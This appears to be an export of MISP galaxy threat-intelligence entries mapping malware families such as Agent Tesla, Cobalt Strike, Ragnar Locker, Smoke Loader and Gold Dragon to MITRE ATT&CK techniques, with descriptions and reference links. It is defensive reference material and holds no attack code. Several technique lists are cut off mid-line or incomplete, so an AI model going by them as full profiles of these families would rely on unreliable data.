• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6554. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1028">https://attack.mitre.org/software/S1028</a></td>
</tr>
</tbody>
</table>

**AutoIt backdoor - S0129**

[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.

The tag is: *misp-galaxy:mitre-malware="AutoIt backdoor - S0129"*

AutoIt backdoor - S0129 is also known as:

• AutoIt backdoor

View relationships graph

AutoIt backdoor - S0129 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


Table 6555. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0129">https://attack.mitre.org/software/S0129</a></td>
</tr>
</tbody>
</table>

AuTo Stealer - S1029

[AuTo Stealer](https://attack.mitre.org/software/S1029) is malware written in C++ has been used by [SideCopy](https://attack.mitre.org/groups/G1008) since at least December 2021 to target government agencies and personnel in India and Afghanistan.([Citation: MalwareBytes SideCopy Dec 2021](https://attack.mitre.org/software/S1029))

The tag is: `misp-galaxy:mitre-malware="AuTo Stealer - S1029"`

AuTo Stealer - S1029 is also known as:

- AuTo Stealer

View relationships graph

AuTo Stealer - S1029 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with
estimative-language:likelihood-probability="almost-certain"


Table 6556. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1029">https://attack.mitre.org/software/S1029</a></td>
</tr>
</tbody>
</table>

Agent Tesla - S0331

[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written for the .NET framework that has been observed since at least 2014.(Citation: Fortinet Agent Tesla April 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: Malwarebytes Agent Tesla April 2020)

The tag is: misp-galaxy:mitre-malware="Agent Tesla - S0331"

Agent Tesla - S0331 is also known as:

- Agent Tesla

View relationships graph

Agent Tesla - S0331 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Wi-Fi Discovery - T1016.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
Table 6557. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0331">https://attack.mitre.org/software/S0331</a></td>
</tr>
<tr>
<td><a href="https://www.digitrustgroup.com/agent-tesla-keylogger/">https://www.digitrustgroup.com/agent-tesla-keylogger/</a></td>
</tr>
</tbody>
</table>

**Small Sieve - S1035**

[Small Sieve](https://attack.mitre.org/software/S1035) is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least January 2022.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: NCSC GCHQ Small Sieve Jan 2022)

Security researchers have also noted [Small Sieve](https://attack.mitre.org/software/S1035)'s use by UNC3313, which may be associated with [MuddyWater](https://attack.mitre.org/groups/G0069).(Citation: Mandiant UNC3313 Feb 2022)

The tag is: **misp-galaxy:mitre-malware="Small Sieve - S1035"**
Small Sieve - S1035 is also known as:

- Small Sieve
- GRAMDOOR

View relationships graph

Small Sieve - S1035 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6558. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1035">https://attack.mitre.org/software/S1035</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-055a">https://www.cisa.gov/uscert/ncas/alerts/aa22-055a</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/telegram-malware-iranian-espionage">https://www.mandiant.com/resources/telegram-malware-iranian-espionage</a></td>
</tr>
</tbody>
</table>
Cobalt Strike - S0154

[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)

In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)

The tag is: `misp-galaxy:mitre-malware="Cobalt Strike - S0154"

Cobalt Strike - S0154 is also known as:

- Cobalt Strike

View relationships graph

Cobalt Strike - S0154 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Argument Spoofing - T1564.010" with
Ragnar Locker - S0481

[Ragnar Locker](https://attack.mitre.org/software/S0481) is a ransomware that has been in use since at least December 2019. (Citation: Sophos Ragnar May 2020) (Citation: Cynet Ragnar Apr 2020)

The tag is: `misp-galaxy:mitre-malware="Ragnar Locker - S0481"`

Ragnar Locker - S0481 is also known as:

- Ragnar Locker

View relationships graph

Ragnar Locker - S0481 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614"` with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:ransomware="Ragnar Locker" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 6560. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0481">https://attack.mitre.org/software/S0481</a></td>
</tr>
</tbody>
</table>

Woody RAT - S1065

[Woody RAT](https://attack.mitre.org/software/S1065) is a remote access trojan (RAT) that has been used since at least August 2021 against Russian organizations.(Citation: MalwareBytes WoodyRAT Aug 2022)

The tag is: misp-galaxy:mitre-malware="Woody RAT - S1065"

Woody RAT - S1065 is also known as:

• Woody RAT

View relationships graph

Woody RAT - S1065 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-
SYNful Knock - S0519

[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim’s network and provide new capabilities to the adversary. (Citation: Mandiant - Synful Knock) (Citation: Cisco Synful Knock Evolution)

The tag is: *misp-galaxy:mitre-malware=*SYNful Knock - S0519*

SYNful Knock - S0519 is also known as:

- SYNful Knock

**View relationships graph**

SYNful Knock - S0519 has relationships with:


- uses: *misp-galaxy:mitre-attack-pattern=*Network Device Authentication - T1556.004* with estimative-language:likelihood-probability=almost-certain
Power Loader - S0177

[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

The tag is: `misp-galaxy:mitre-malware="Power Loader - S0177"`

View relationships graph

Power Loader - S0177 has relationships with:


Table 6563. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0177">https://attack.mitre.org/software/S0177</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/">https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/</a></td>
</tr>
</tbody>
</table>

Brave Prince - S0252

[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)

The tag is: `misp-galaxy:mitre-malware="Brave Prince - S0252"`

Brave Prince - S0252 is also known as:

- Brave Prince

View relationships graph

Brave Prince - S0252 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with `estimative-language:likelihood-probability="almost-certain"`
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"


Table 6564. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0252">https://attack.mitre.org/software/S0252</a></td>
</tr>
</tbody>
</table>

### Smoke Loader - S0226

[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware. [Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)

The tag is: **misp-galaxy:mitre-malware="Smoke Loader - S0226"**

Smoke Loader - S0226 is also known as:

- Smoke Loader
- Dofoil

View relationships graph

Smoke Loader - S0226 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003"` with `estimative-language:likelihood-probability="almost-certain"`

- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with `estimative-language:likelihood-probability="almost-certain"`

- similar: `misp-galaxy:tool="Smoke Loader"` with `estimative-language:likelihood-probability="likely"`

- uses: `misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"` with `estimative-language:likelihood-probability="almost-certain"`

- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with `estimative-language:likelihood-probability="almost-certain"`


- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with `estimative-language:likelihood-probability="almost-certain"`

- similar: `misp-galaxy:malpedia="SmokeLoader"` with `estimative-language:likelihood-probability="likely"`


- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with `estimative-language:likelihood-probability="almost-certain"`

Table 6565. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0226">https://attack.mitre.org/software/S0226</a></td>
</tr>
</tbody>
</table>

**Linux Rabbit - S0362**

[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)

The tag is: `misp-galaxy:mitre-malware="Linux Rabbit - S0362"`

Linux Rabbit - S0362 is also known as:

- Linux Rabbit
Linux Rabbit - S0362 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"

Table 6566. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0362">https://attack.mitre.org/software/S0362</a></td>
</tr>
</tbody>
</table>

Stealth Mango - S0328

[Stealth Mango](https://attack.mitre.org/software/S0328) is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the military, medical professionals, and civilians. The iOS malware known as [Tangelo](https://attack.mitre.org/software/S0329) is believed to be from the same developer. (Citation: Lookout-StealthMango)

The tag is: misp-galaxy:mitre-malware="Stealth Mango - S0328"

Stealth Mango - S0328 is also known as:

- Stealth Mango

View relationships graph

Stealth Mango - S0328 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-
Table 6567. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0328">https://attack.mitre.org/software/S0328</a></td>
</tr>
</tbody>
</table>

**Corona Updates - S0425**

[Corona Updates](https://attack.mitre.org/software/S0425) is Android spyware that took advantage of the Coronavirus pandemic. The campaign distributing this spyware is tracked as Project Spy. Multiple variants of this spyware have been discovered to have been hosted on the Google Play Store.(Citation: TrendMicro Coronavirus Updates)

The tag is: `misp-galaxy:mitre-malware="Corona Updates - S0425"`

Corona Updates - S0425 is also known as:

- Corona Updates
- Wabi Music
Corona Updates - S0425 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 6568. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0425">https://attack.mitre.org/software/S0425</a></td>
</tr>
</tbody>
</table>

**Gold Dragon - S0249**

[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant
that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)

The tag is: `misp-galaxy:mitre-malware="Gold Dragon - S0249"`

Gold Dragon - S0249 is also known as:

- Gold Dragon

View relationships graph

Gold Dragon - S0249 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"
